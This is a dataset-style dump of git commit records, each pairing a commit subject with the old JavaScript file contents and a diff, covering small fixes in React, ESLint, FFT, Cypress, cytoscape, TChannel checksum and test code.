commit
stringlengths
40
40
subject
stringlengths
1
3.25k
old_file
stringlengths
4
311
new_file
stringlengths
4
311
old_contents
stringlengths
0
26.3k
lang
stringclasses
3 values
proba
float64
0
1
diff
stringlengths
0
7.82k
374bccaf5a9dc9ddb3a54efb0e1091c20f144a6d
remove PropTypes from forwardRef
assets/src/edit-story/components/movable/index.js
assets/src/edit-story/components/movable/index.js
/** * External dependencies */ import Moveable from 'react-moveable'; import PropTypes from 'prop-types'; import styled from 'styled-components'; /** * WordPress dependencies */ import { forwardRef, useContext, createPortal } from '@wordpress/element'; /** * Internal dependencies */ import Context from './context'; const DEFAULT_Z_INDEX = 10; const Wrapper = styled.div` position: absolute; top: 0; left: 0; z-index: ${ ( { zIndex } ) => `${ zIndex }` }; `; function MovableWithRef( { zIndex, ...moveableProps }, ref ) { const { container, layer } = useContext( Context ); if ( ! container || ! layer ) { return null; } const slot = ( <Wrapper zIndex={ zIndex || DEFAULT_Z_INDEX }> <Moveable ref={ ref } container={ container } { ...moveableProps } /> </Wrapper> ); return createPortal( slot, layer ); } MovableWithRef.propTypes = { zIndex: PropTypes.number, }; MovableWithRef.defaultProps = { zIndex: DEFAULT_Z_INDEX, }; const Movable = forwardRef( MovableWithRef ); export default Movable;
JavaScript
0
@@ -69,44 +69,8 @@ e';%0A -import PropTypes from 'prop-types';%0A impo @@ -817,130 +817,8 @@ %0A%7D%0A%0A -MovableWithRef.propTypes = %7B%0A%09zIndex: PropTypes.number,%0A%7D;%0A%0AMovableWithRef.defaultProps = %7B%0A%09zIndex: DEFAULT_Z_INDEX,%0A%7D;%0A%0A cons
3842aa255cf5afee2e2c8e5b3ec3243352e67d65
Fix misspelling
lib/node_modules/@stdlib/_tools/eslint/rules/jsdoc-leading-description-sentence/lib/main.js
lib/node_modules/@stdlib/_tools/eslint/rules/jsdoc-leading-description-sentence/lib/main.js
'use strict'; // MODULES // var doctrine = require( 'doctrine' ); var isCapitalized = require( '@stdlib/assert/is-capitalized' ); var isObject = require( '@stdlib/assert/is-object' ); var contains = require( '@stdlib/assert/contains' ); var endsWith = require( '@stdlib/string/ends-with' ); var getJSDocComment = require( '@stdlib/_tools/eslint/utils/find-jsdoc' ); // MAIN // /** * Rule for validating that JSDoc descriptions start with an uppercase letter and end with a period. * * @param {Object} context - ESLint context * @returns {Object} validators */ function main( context ) { var source = context.getSourceCode(); /** * Reports the error message. * * @private * @param {Object} loc - lines of code (object with `start` and `end` properties) */ function report( loc ) { context.report({ 'node': null, 'message': 'Description must start with an uppercase letter and end with a period', 'loc': loc }); } // end FUNCTION report() /** * Checks whether JSDOc comments have a capitalized description that ends with a period. * * @private * @param {ASTNode} node - node to examine */ function validate( node ) { var jsdoc; var descr; var ast; jsdoc = getJSDocComment( source, node ); if ( isObject( jsdoc ) ) { ast = doctrine.parse( jsdoc.value, { 'sloppy': true, 'unwrap': true }); descr = ast.description; if ( contains( descr, '\n' ) ) { // Only first line contains the description: descr = descr.substr( 0, descr.indexOf( '\n' ) ); } if ( // Do not raise an error for JSDoc comments without descriptions: descr.length && ( !isCapitalized( descr ) || !endsWith( descr, '.' ) ) ) { report( jsdoc.loc ); } } } // end FUNCTION validate() return { 'FunctionExpression:exit': validate, 'FunctionDeclaration:exit': validate, 'VariableDeclaration:exit': validate, 'ExpressionStatement:exit': validate }; } // end FUNCTION main() // EXPORTS // module.exports = { 'meta': { 'docs': { 'description': 'enforce that JSDoc descriptions start with an uppercase letter and end with a period' }, 'schema': [] }, 'create': main };
JavaScript
1
@@ -985,17 +985,17 @@ ther JSD -O +o c commen
a0d3fe7e24a51a3efbb780550778da3b66d1dba5
Fix a problem of FFT
fft.js
fft.js
// refs http://d.hatena.ne.jp/ku-ma-me/20111124/p1#20111124f1 var fft = function(a) { var n = a.length; for (var i = 0; i < n; i++) { a[i] = new Complex(a[i], 0); } return fftCore(a); }; var fftCore = function(a) { var n = a.length; if (n == 1) { return a; } var a1 = []; for (var i = 0; i < Math.floor(n / 2); i++) { a1[i] = a[i].add(a[i + Math.floor(n / 2)]); } a1 = fftCore(a1); var a2 = []; for (var i = 0; i < Math.floor(n / 2); i++) { a2[i] = (a[i].sub(a[i + Math.floor(n / 2)])) .mul(new Complex(Math.cos(-2 * Math.PI * i / n), Math.sin(-2 * Math.PI * i / n))); } a2 = fftCore(a2); var result = []; for (var i = 0; i < Math.floor(n / 2); i++) { result.push(a1[i]); result.push(a2[i]); } return result; }; var ifft = function(a) { var result = []; var n = a.length; for (var i = 0; i < n; i++) { result[i] = a[i].conj(); } result = fftCore(result); for (var i = 0; i < n; i++) { result[i] = Math.round(result[i].conj().real / n) } return result; }; var lpf = function(a, k) { var result = []; var n = a.length; for (var i = 0; i < n; i++) { result[i] = a[i]; } for (var i = k + 1; i <= Math.floor(n / 2); i++) { result[i] = new Complex(0, 0); result[n - i] = new Complex(0, 0); } return result; };
JavaScript
0.999998
@@ -72,32 +72,52 @@ = function(a) %7B%0A + var result = %5B%5D;%0A%0A var n = a.leng @@ -156,17 +156,22 @@ ) %7B%0A -a +result %5Bi%5D = ne @@ -211,17 +211,22 @@ fftCore( -a +result );%0A%7D;%0A%0Av @@ -1055,19 +1055,8 @@ %5D = -Math.round( resu @@ -1076,17 +1076,17 @@ real / n -) +; %0A %7D%0A%0A
a4ff2d8fb7a9cc95927a3ac401f6bb598b2bc9be
Fix a type import
modules/lists/list-section-header.js
modules/lists/list-section-header.js
// @flow import * as React from 'react' import {Platform, StyleSheet, Text, View} from 'react-native' import * as c from '@frogpond/colors' import {type AppTheme} from '@frogpond/app-theme' import {useTheme} from '@frogpond/app-theme' import type { ViewStyleProp, TextStyleProp, } from 'react-native/Libraries/StyleSheet/StyleSheet' const styles = StyleSheet.create({ container: { paddingLeft: 15, ...Platform.select({ ios: { backgroundColor: c.iosListSectionHeader, paddingVertical: 6, borderTopWidth: StyleSheet.hairlineWidth, borderBottomWidth: StyleSheet.hairlineWidth, borderTopColor: c.iosHeaderTopBorder, borderBottomColor: c.iosHeaderBottomBorder, paddingRight: 10, }, android: { paddingTop: 10, paddingBottom: 10, borderTopWidth: 1, borderBottomWidth: 0, borderColor: '#c8c7cc', paddingRight: 15, }, }), }, bold: { ...Platform.select({ ios: {fontWeight: '500'}, android: {fontWeight: '600'}, }), }, title: { fontWeight: '400', ...Platform.select({ ios: { fontSize: 16, color: c.black, }, android: { fontSize: 16, fontFamily: 'sans-serif-condensed', }, }), }, subtitle: { fontWeight: '400', ...Platform.select({ ios: { fontSize: 16, color: c.iosDisabledText, }, android: { fontSize: 16, fontFamily: 'sans-serif-condensed', color: c.iosDisabledText, // todo: find android equivalent }, }), }, }) type Props = { title: string, bold?: boolean, titleStyle?: TextStyleProp, subtitle?: string, subtitleStyle?: TextStyleProp, separator?: string, style?: ViewStyleProp, spacing?: {left?: number, right?: number}, } export function ListSectionHeader(props: Props) { let { style, title, bold = true, titleStyle, subtitle = null, subtitleStyle, separator = ' — ', spacing: {left: leftSpacing = 15} = {}, } = props let theme: AppTheme = useTheme() let containerTheme = {paddingLeft: leftSpacing} let titleTheme = {} if (Platform.OS === 'android') { containerTheme = { ...containerTheme, backgroundColor: theme.androidListHeaderBackground, } titleTheme = { ...titleTheme, color: theme.androidListHeaderForeground, } } let finalTitleStyle = [ styles.title, titleTheme, titleStyle, bold ? styles.bold : null, ] return ( <View style={[styles.container, containerTheme, style]}> <Text> <Text style={finalTitleStyle}>{title}</Text> {subtitle ? ( <Text style={[styles.subtitle, subtitleStyle]}> {separator} {subtitle} </Text> ) : null} </Text> </View> ) }
JavaScript
0.000004
@@ -144,14 +144,14 @@ ort -%7B type +%7B AppT
1f1b5d19538b5fab60a78c458aa95780bd9228a7
Add wait graph test integration
cypress/integration/nav_create_trek.js
cypress/integration/nav_create_trek.js
Cypress.on('uncaught:exception', (err, runnable) => { // returning false here prevents Cypress from // failing the test return false }) describe('Create trek', () => { beforeEach(() => { const username = 'admin' const password = 'admin' cy.request('/login/?next=/') .its('body') .then((body) => { // we can use Cypress.$ to parse the string body // thus enabling us to query into it easily const $html = Cypress.$(body) const csrf = $html.find('input[name=csrfmiddlewaretoken]').val() cy.loginByCSRF(csrf, username, password) .then((resp) => { expect(resp.status).to.eq(200) }) }) }) it('Create trek', () => { cy.visit('http://localhost:8000/trek/list') cy.get("a.btn-success[href='/trek/add/']").contains('Add a new trek').click() cy.get("a.linetopology-control").click() cy.get('.leaflet-map-pane') .click(405, 290) .click(450, 150); cy.get("input[name='name_en']").type('Trek number 1') cy.get("a[href='#name_fr']").click() cy.get("input[name='name_fr']").type('Randonnée numéro 1') cy.get("input[id='id_review']").click() cy.get("input[id='id_is_park_centered']").click() cy.get("input[id='id_departure_en']").type('Departure') cy.get("a[href='#departure_fr']").click() cy.get("input[id='id_departure_fr']").type('Départ') cy.get("input[id='id_arrival_en']").type('Arrival') cy.get("a[href='#arrival_fr']").click() cy.get("input[id='id_arrival_fr']").type('Arrivée') cy.get("input[id='id_duration']").type('100') cy.get("select[id='id_practice']").select("Cycling") cy.get("select[id='id_difficulty']").select("Very hard") cy.get("select[id='id_route']").select("Loop") cy.get('#save_changes').click() cy.url().should('not.include', '/trek/add/') cy.get('.content').should('contain', 'Trek number 1') }) })
JavaScript
0
@@ -870,32 +870,114 @@ trek').click()%0A + cy.server()%0A cy.route('/api/graph.json').as('graph')%0A cy.wait('@graph')%0A cy.get(%22a.li
334d22572c21326f8298e6c7c054706602420e28
remove console.log
test/collection-traversing.js
test/collection-traversing.js
var expect = require('chai').expect; var cytoscape = require('../build/cytoscape.js', cytoscape); describe('Collection traversing', function(){ var cy, n1, n2, n3, n1n2, n2n3; // test setup beforeEach(function(done){ cytoscape({ elements: { nodes: [ { data: { id: 'n1' } }, { data: { id: 'n2' } }, { data: { id: 'n3' } } ], edges: [ { data: { id: 'n1n2', source: 'n1', target: 'n2' } }, { data: { id: 'n2n3', source: 'n2', target: 'n3' } } ] }, ready: function(){ cy = this; n1 = cy.$('#n1'); n2 = cy.$('#n2'); n3 = cy.$('#n3'); n1n2 = cy.$('#n1n2'); n2n3 = cy.$('#n2n3'); done(); } }); }); it('eles.neighborhood() etc', function(){ var nbhd = cy.$('#n2').neighborhood(); expect( nbhd.same( cy.$('#n1, #n3, #n1n2, #n2n3') ) ).to.be.true; expect( cy.$('#n1').neighborhood().same( cy.$('#n2, #n1n2') ) ).to.be.true; expect( cy.$('#n2').closedNeighborhood().same( cy.$('#n1, #n2, #n3, #n1n2, #n2n3') ) ).to.be.true; }); it('eles.edgesWith()', function(){ expect( n1.edgesWith(n2).same(n1n2) ).to.be.true; expect( n1.edgesWith(n3).empty() ).to.be.true; expect( n2.edgesWith(n3).same(n2n3) ).to.be.true; }); it('eles.edgesTo()', function(){ expect( n1.edgesTo(n2).same(n1n2) ).to.be.true; expect( n1.edgesTo(n3).empty() ).to.be.true; expect( n2.edgesTo(n3).same(n2n3) ).to.be.true; expect( n3.edgesTo(n2).empty() ).to.be.true; }); it('eles.connectedNodes()', function(){ expect( n1n2.connectedNodes().same( n1.add(n2) ) ).to.be.true; expect( n2n3.connectedNodes().same( n2.add(n3) ) ).to.be.true; }); it('nodes.connectedEdges()', function(){ expect( n1.connectedEdges().same( n1n2 ) ).to.be.true; expect( n2.connectedEdges().same( n1n2.add(n2n3) ) ).to.be.true; expect( n3.connectedEdges().same( n2n3 ) ).to.be.true; }); it('eles.source(), eles.target()', function(){ expect( n1n2.source().same(n1) ).to.be.true; expect( n1n2.target().same(n2) ).to.be.true; expect( n2n3.source().same(n2) ).to.be.true; expect( n2n3.target().same(n3) ).to.be.true; }); it('edges.parallelEdges()', function(){ var e = cy.add({ group: 'edges', data: { source: 'n1', target: 'n2', id: 'e' } }); console.log(e) expect( n1n2.parallelEdges().same( e.add(n1n2) ) ).to.be.true; }); it('edges.codirectedEdges()', function(){ var e = cy.add({ group: 'edges', data: { source: 'n1', target: 'n2', id: 'e' } }); expect( n1n2.codirectedEdges().same( e.add(n1n2) ) ).to.be.true; }); });
JavaScript
0.000006
@@ -2403,28 +2403,8 @@ );%0A%0A - console.log(e)%0A%0A
a4e3b7b48b9fe401d256833947ffa3fcabd1bf15
Update script.js
app/src/main/assets/script.js
app/src/main/assets/script.js
/** * draws rectangle to canvas */ var canvas = document.getElementById('myCanvas'); var cwidth = 100; var cheight = 20; var ctx = canvas.getContext("2d"); ctx.fillStyle = "#ffffff"; ctx.fillRect(150, 150, cwidth, cheight); ctx.fillStyle = "rgb(100,2,3)"; ctx.fillRect(110, 110, 30, 100); ctx.lineTo(130,140); ctx.fillStyle = "rgb(23,119,255)"; ctx.lineTo(250,0);
JavaScript
0.000002
@@ -92,18 +92,18 @@ width = -10 +32 0;%0Avar c @@ -111,16 +111,17 @@ eight = +3 20;%0Avar
8047d269d3be5f9ce8bd0d99426d2dc91cfa119e
Fix Unit Tests :()
test/BrowserInfoSpec.js
test/BrowserInfoSpec.js
/* * Copyright 2014 WebFilings, LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ define(function(require) { 'use strict'; var BrowserInfo = require('wf-js-common/BrowserInfo'); describe('BrowserInfo', function() { it('should detect if 3d css transforms are supported', function() { var browserInfo = new BrowserInfo.constructor({ window: window, navigator: navigator, eventTranslator: { prefixed: function() { return null; }, csstransforms3d: true } }); expect(browserInfo.hasCssTransforms3d).toBe(true); }); describe('detecting mousewheel support', function() { it('should detect "wheel" for modern browsers', function() { var browserInfo = new BrowserInfo.constructor({ window: { document: { onwheel: function() {} } } }); expect(browserInfo.Events.MOUSE_SCROLL).toBe('wheel'); }); it('should detect "wheel" for IE9+', function() { var browserInfo = new BrowserInfo.constructor({ window: { document: { documentMode: 9 } } }); expect(browserInfo.Events.MOUSE_SCROLL).toBe('wheel'); }); it('should detect "mousewheel" support for webkit and IE8-', function() { var browserInfo = new BrowserInfo.constructor({ window: { document: { onmousewheel: function() {} } } }); expect(browserInfo.Events.MOUSE_SCROLL).toBe('mousewheel'); }); it('should detect "DOMMouseScroll" for older Firefox', function() { var browserInfo = new BrowserInfo.constructor({ window: { document: {} } }); expect(browserInfo.Events.MOUSE_SCROLL).toBe('DOMMouseScroll'); }); }); describe('getBrowser', function() { var currentBrowser = BrowserInfo.getBrowser(); var supportedBrowser = false; for(var browser in BrowserInfo.Browsers) { if (BrowserInfo.Browsers.hasOwnProperty(browser)) { var browserName = BrowserInfo.Browsers[browser]; if (currentBrowser === browserName) { supportedBrowser = true; } } } it('returns a supported browser', function() { expect(supportedBrowser).toBe(true); }); }); describe('the event\'s cancel event function', function() { it('should preventDefault and stopPropagation if preventDefault is defined', function() { var event = { preventDefault: function() {}, stopPropagation: function() {} }; spyOn(event, 'preventDefault'); spyOn(event, 'stopPropagation'); BrowserInfo.Events.cancelEvent(event); expect(event.preventDefault).toHaveBeenCalled(); expect(event.stopPropagation).toHaveBeenCalled(); }); it('should set returnValue and cancelBubble if event.preventDefault is not defined', function() { var event = { preventDefault: null, stopPropagation: null }; BrowserInfo.Events.cancelEvent(event); expect(event.returnValue).toEqual(false); expect(event.cancelBubble).toEqual(true); }); // In IE9, you cannot set window.event so we'll skip over this if (window.event) { it('should default to window\'s event if not given an event', function() { var event = null; BrowserInfo.Events.cancelEvent(event); expect(window.event.returnValue).toEqual(false); expect(window.event.cancelBubble).toEqual(true); }); } }); describe('browser name', function() { it('should default to chrome if no browser is detected', function() { // no browser var nobrowserInfo = new BrowserInfo.constructor({ window: window, navigator: { vendor: false, userAgent: '' }, eventTranslator: { prefixed: function() { return null; } } }); expect(nobrowserInfo.getBrowser()).toEqual('Chrome'); }); it('should detect if chrome is the current browser', function() { // chrome var chromeInfo = new BrowserInfo.constructor({ window: window, navigator: { vendor: 'Google Inc.', userAgent: 'Chrome' }, eventTranslator: { prefixed: function() { return null; } } }); expect(chromeInfo.getBrowser()).toEqual('Chrome'); }); it('should detect if safari is the current browser', function() { // safari var safariInfo = new BrowserInfo.constructor({ window: window, navigator: { vendor: 'Apple Computer, Inc.', userAgent: 'Safari' }, eventTranslator: { prefixed: function() { return null; } } }); expect(safariInfo.getBrowser()).toEqual('Safari'); }); it('should detect if opera is the current browser', function() { // opera var operaInfo = new BrowserInfo.constructor({ window: window, navigator: { vendor: 'Opera Software ASA', userAgent: 'OPR' }, eventTranslator: { prefixed: function() { return null; } } }); expect(operaInfo.getBrowser()).toEqual('OPR'); }); it('should detect if firefox is the current browser', function() { // firefox var firefoxInfo = new BrowserInfo.constructor({ window: window, navigator: { vendor: '', userAgent: 'Firefox' }, eventTranslator: { prefixed: function() { return null; } } }); expect(firefoxInfo.getBrowser()).toEqual('Firefox'); }); it('should detect if Internet Explorer is the current browser', function() { // internet explorer var MSIEInfo = new BrowserInfo.constructor({ window: window, navigator: { userAgent: 'MSIE' }, eventTranslator: { prefixed: function() { return null; } } }); expect(MSIEInfo.getBrowser()).toEqual('MSIE'); }); it('should detect if Internet Explorer 11 is the current browser', function() { var MSIE11Info = new BrowserInfo.constructor({ window: window, navigator: { userAgent: 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' }, eventTranslator: { prefixed: function() { return null; } } }); expect(MSIE11Info.getBrowser()).toEqual('MSIE'); }); }); describe('edge case scenarios', function() { var edgeCaseBrowserInfo = new BrowserInfo.constructor({ window: { devicePixelRatio: null, document: document }, navigator: { vendor: null, userAgent: '' }, eventTranslator: { prefixed: function() { return null; } } }); it('should set transition end to false if it has not ben defined', function() { expect(edgeCaseBrowserInfo.Events.TRANSITION_END).toBe(false); }); it('set a device pixel ratio if one was not declared', function() { expect(edgeCaseBrowserInfo.devicePixelRatio).toEqual(1); }); }); }); });
JavaScript
0.000001
@@ -4265,119 +4265,8 @@ );%0A%0A - // In IE9, you cannot set window.event so we'll skip over this%0A if (window.event) %7B%0A @@ -4356,36 +4356,32 @@ - var event = null @@ -4391,36 +4391,32 @@ - - BrowserInfo.Even @@ -4431,32 +4431,147 @@ lEvent(event);%0A%0A + // In IE9, you cannot set window.event so we'll skip over this%0A if (window.event) %7B%0A @@ -4701,34 +4701,32 @@ %7D -); %0A %7D%0A @@ -4715,32 +4715,34 @@ %7D%0A %7D +); %0A %7D);%0A%0A
0bc9f9b606f71fb050af14aa21d2f7760f07e67f
Add missing build file (#161373)
build/azure-pipelines/common/installPlaywright.js
build/azure-pipelines/common/installPlaywright.js
"use strict"; /*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ Object.defineProperty(exports, "__esModule", { value: true }); process.env.DEBUG = 'pw:install'; // enable logging for this (https://github.com/microsoft/playwright/issues/17394) const retry_1 = require("./retry"); const { installDefaultBrowsersForNpmInstall } = require('playwright-core/lib/server'); async function install() { await (0, retry_1.retry)(() => installDefaultBrowsersForNpmInstall()); } install();
JavaScript
0
@@ -363,71 +363,8 @@ -*/%0A -Object.defineProperty(exports, %22__esModule%22, %7B value: true %7D);%0A proc @@ -479,44 +479,8 @@ 94)%0A -const retry_1 = require(%22./retry%22);%0A cons @@ -602,33 +602,8 @@ wait - (0, retry_1.retry)(() =%3E ins @@ -636,17 +636,16 @@ nstall() -) ;%0A%7D%0Ainst
42d2fce276eadf04ee00a1548d5bfe779cd0e440
fix CRC32 empty case
node/v2/checksum.js
node/v2/checksum.js
// Copyright (c) 2015 Uber Technologies, Inc. // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. 'use strict'; var farm32 = require('farmhash').fingerprint32; var crc32 = require('crc').crc32; var bufrw = require('bufrw'); var TypedError = require('error/typed'); var ChecksumError = TypedError({ type: 'tchannel.checksum', message: 'invalid checksum (type {checksumType}) expected: {expectedValue} actual: {actualValue}', checksumType: null, expectedValue: null, actualValue: null }); module.exports = Checksum; // csumtype:1 (csum:4){0,1} function Checksum(type, val) { if (!(this instanceof Checksum)) { return new Checksum(type, val); } var self = this; self.type = type; self.val = val || 0; } Checksum.objOrType = function objOrType(arg) { if (arg instanceof Checksum) { return arg; } if (typeof arg !== 'number') { throw new Error('expected a Checksum object or a valid checksum type'); } switch (arg) { case 0x00: case 0x01: case 0x02: return Checksum(arg); default: throw new Error('invalid checsum type'); } }; Checksum.Types = Object.create(null); Checksum.Types.None = 0x00; Checksum.Types.CRC32 = 0x01; Checksum.Types.Farm32 = 0x02; // csumtype:1 (csum:4){0,1} var rwCases = Object.create(null); rwCases[Checksum.Types.None] = bufrw.Null; rwCases[Checksum.Types.CRC32] = bufrw.UInt32BE; rwCases[Checksum.Types.Farm32] = bufrw.UInt32BE; Checksum.RW = bufrw.Switch(bufrw.UInt8, rwCases, { cons: Checksum, valKey: 'type', dataKey: 'val' }); Checksum.prototype.compute = function compute(args, prior) { if (typeof prior !== 'number') prior = 0; var self = this; var csum = prior; var i; switch (self.type) { case 0x00: break; case 0x01: if (csum === 0) csum = undefined; for (i = 0; i < args.length; i++) { csum = crc32(args[i], csum); } break; case 0x02: for (i = 0; i < args.length; i++) { csum = farm32(args[i], csum); } break; default: throw new Error('invalid checksum type ' + self.type); } return csum; }; Checksum.prototype.update = function update(args, prior) { var self = this; self.val = self.compute(args, prior); }; Checksum.prototype.verify = function verify(args, prior) { var self = this; if (self.type === Checksum.Types.None) { return null; } var val = self.compute(args, prior); if (val === self.val) { return null; } else { return ChecksumError({ checksumType: self.type, expectedValue: self.val, actualValue: val }); } };
JavaScript
0.000385
@@ -3021,32 +3021,78 @@ ;%0A %7D%0A + if (csum === undefined) csum = 0;%0A brea
7bcdfc911f46b53c617aa31b441649ba9c5609bc
Update actionsObjUrl
src/main/webapp/scripts/toggle.js
src/main/webapp/scripts/toggle.js
const keywordsTemplateUrl = '/templates/keywords.html'; const newsTemplateUrl = '/templates/news.html'; const actionsTemplateUrl = '/templates/actions.html'; const templatesUrls = [keywordsTemplateUrl, newsTemplateUrl, actionsTemplateUrl]; const keywordsObjUrl = '/json/keywords.json'; const newsObjUrl = '/json/news.json'; const actionsObjUrl = '/json/actions.json'; const objectsUrls = [keywordsObjUrl, newsObjUrl, actionsObjUrl]; const sectionsNames = ['keywords', 'news', 'actions']; const htmlSectionsPromises = loadHtmlSections(templatesUrls, objectsUrls, sectionsNames); /** * Loads an array of html templates, an array of json objects, and renders them using mustache. * Returns a promise.all of all the render html sections. */ async function loadHtmlSections(templatesUrls, objsUrls, sectionsNames) { const htmlTemplatesPromises = loadUrls(templatesUrls, loadTemplate); const objsPromises = loadUrls(objsUrls, loadObject); const values = await Promise.all([htmlTemplatesPromises, objsPromises]); const templates = values[0]; const objs = values[1]; let htmlSections = new Object(); for (let i = 0; i < sectionsNames.length; i++) { let sectionHtml = Mustache.render(templates[i], objs[i]); htmlSections[sectionsNames[i]] = sectionHtml; } return htmlSections; } /** * Activates the section that triggered the event. */ function activateSection(event) { const selectedOption = event.currentTarget.value; loadSection(selectedOption); return; } /** * Loads a section from the htmlSectionsPromises array. */ async function loadSection(sectionName) { resultSection.innerHTML = ""; const htmlSections = await htmlSectionsPromises; resultSection.innerHTML = htmlSections[sectionName]; return; }
JavaScript
0.000001
@@ -348,25 +348,15 @@ = '/ -json/ actions -.json ';%0Ac
3518793d3f5398702a052da2921ed4755c52e630
fix amberc command to compile meta example
nodejs/Gruntfile.js
nodejs/Gruntfile.js
module.exports = function(grunt) { grunt.loadTasks('../vendor/amber/grunt/tasks'); grunt.registerTask('default', ['amberc:hello']); grunt.initConfig({ pkg: grunt.file.readJSON('../package.json'), amberc: { _config: { amber_dir: '../vendor/amber', closure_jar: '' }, hello: { src: ['hello/Hello.st'], main_class: 'Hello', output_name: 'hello/Program' }, benchfib: { src: ['benchfib/Benchfib.st'], main_class: 'Benchfib', output_name: 'benchfib/Program' }, meta: { working_dir: 'meta', src: ['MyScript.st'], main_class: 'MyScript', libraries: ['parser','Compiler'], output_name: 'Program' }, pystone: { src: ['pystone/Pystone.st'], main_class: 'Pystone', output_name: 'pystone/Program' }, trivialserver: { src: ['trivialserver/TrivialServer.st'], main_class: 'TrivialServer', output_name: 'trivialserver/Program' } } }); }
JavaScript
0
@@ -591,44 +591,20 @@ -working_dir +src : +%5B 'meta -',%0A src: %5B' +/ MySc @@ -670,17 +670,82 @@ s: %5B -'parser +%0A 'Importer-Exporter', 'Compiler-Exceptions', 'Compiler-Core ', + 'Com @@ -749,17 +749,133 @@ Compiler -' +-AST',%0A 'Compiler-IR', 'Compiler-Inlining', 'Compiler-Semantic', 'Compiler-Interpreter', 'parser'%0A %5D,%0A @@ -891,16 +891,21 @@ _name: ' +meta/ Program'
94f26ff049eca392296ae3667e0003a9437411b9
prepare to clean up random test
test/common/vmtests/random.js
test/common/vmtests/random.js
var testData = require('../../../../tests/vmtests/random.json'), async = require('async'), VM = require('../../../lib/vm'), Account = require('../../../lib/account.js'), Block = require('../../../lib/block.js'), testUtils = require('../../testUtils'), assert = require('assert'), levelup = require('levelup'), bignum = require('bignum'), Trie = require('merkle-patricia-tree'); var internals = {}, stateDB = levelup('', { db: require('memdown') }); internals.state = new Trie(stateDB); testData = testData.random; describe('[Common]: VM tests', function () { describe('random.json', function () { it('setup the trie', function (done) { var state = internals.state; testUtils.setupPreConditions(internals.state, testData, function() { // the exec code is not in the pre, so the code needs to be stored for // the account at testData.exec.address state.get(new Buffer(testData.exec.address, 'hex'), function(err, raw) { assert(!err); var code = bignum(testData.exec.code.slice(2), 16).toBuffer(), account = new Account(raw); testUtils.storeCode(state, testData.exec.address, account, code, done); }); }); }); it('run call', function(done) { var state = internals.state; var env = testData.env, block = testUtils.makeBlockFromEnv(env), runData = testUtils.makeRunCallData(testData, block), vm = new VM(state); // vm.runCall(runData, function(err, results) { assert(!err); console.log('gas: ', results.gasUsed.toNumber(), 'exp: ', testData.exec.gas - testData.gas) assert.strictEqual(results.gasUsed.toNumber(), testData.exec.gas - testData.gas, 'gas used mismatch'); var suicideTo = results.vm.suicideTo.toString('hex'), keysOfPost = Object.keys(testData.post); // assert.strictEqual(keysOfPost.length, 1, '#post mismatch'); // assert.notStrictEqual(suicideTo, keysOfPost[0], 'suicideTo should not exist'); async.series([ function(cb) { // verify testData.post[keysOfPost[1]] state.get(new Buffer(testData.exec.address, 'hex'), function(err, acct) { assert(!err); assert(!acct, 'suicide account should be gone'); cb(); }); }, function() { // verify testData.post[keysOfPost[0]] state.get(new Buffer(suicideTo, 'hex'), function(err, acct) { assert(!err); var account = new Account(acct), acctData = testData.post[keysOfPost[0]]; testUtils.verifyAccountPostConditions(state, account, acctData, done); }); } // TODO verify testData.post[keysOfPost[2]] ], done); }); // var env = testData.env, // block = new Block(), // acctData, // account; // // block.header.timestamp = testUtils.fromDecimal(env.currentTimestamp); // block.header.gasLimit = testUtils.fromDecimal(env.currentGasLimit); // block.header.parentHash = new Buffer(env.previousHash, 'hex'); // block.header.coinbase = new Buffer(env.currentCoinbase, 'hex'); // block.header.difficulty = testUtils.fromDecimal(env.currentDifficulty); // block.header.number = testUtils.fromDecimal(env.currentNumber); // // acctData = testData.pre[testData.exec.address]; // account = new Account(); // account.balance = testUtils.fromDecimal(acctData.balance); // // we assume runTx has incremented the nonce // account.nonce = bignum(acctData.balance).add(1).toBuffer(); // // var vm = new VM(internals.state); // vm.runCall({ // // since there is no 'to', an address will be generated for the contract // fromAccount: account, // origin: new Buffer(testData.exec.origin, 'hex'), // data: new Buffer(testData.exec.code.slice(2), 'hex'), // slice off 0x // // // using account.balance instead testData.exec.value to simulate that // // the generated address is the fromAccount // value: bignum.fromBuffer(account.balance), // from: new Buffer(testData.exec.caller, 'hex'), // gas: testData.exec.gas, // block: block // }, function(err, results) { // assert(!err); // assert(results.gasUsed.toNumber() // === (testData.exec.gas - testData.gas), 'gas used mismatch'); // // var suicideTo = results.vm.suicideTo.toString('hex'); // assert(Object.keys(testData.post).indexOf(suicideTo) !== -1); // // internals.state.get(new Buffer(suicideTo, 'hex'), function(err, acct) { // assert(!err); // var account = new Account(acct); // var expectedSuicideAcct = testData.post[suicideTo]; // // assert(testUtils.toDecimal(account.balance) === expectedSuicideAcct.balance); // assert(testUtils.toDecimal(account.nonce) === expectedSuicideAcct.nonce); // // // we can't check that 7d577a597b2742b498cb5cf0c26cdcd726d39e6e has // // been deleted/hasBalance0 because the generated address doesn't // // match 7d577a597b2742b498cb5cf0c26cdcd726d39e6e // done(); // }); }); }); });
JavaScript
0
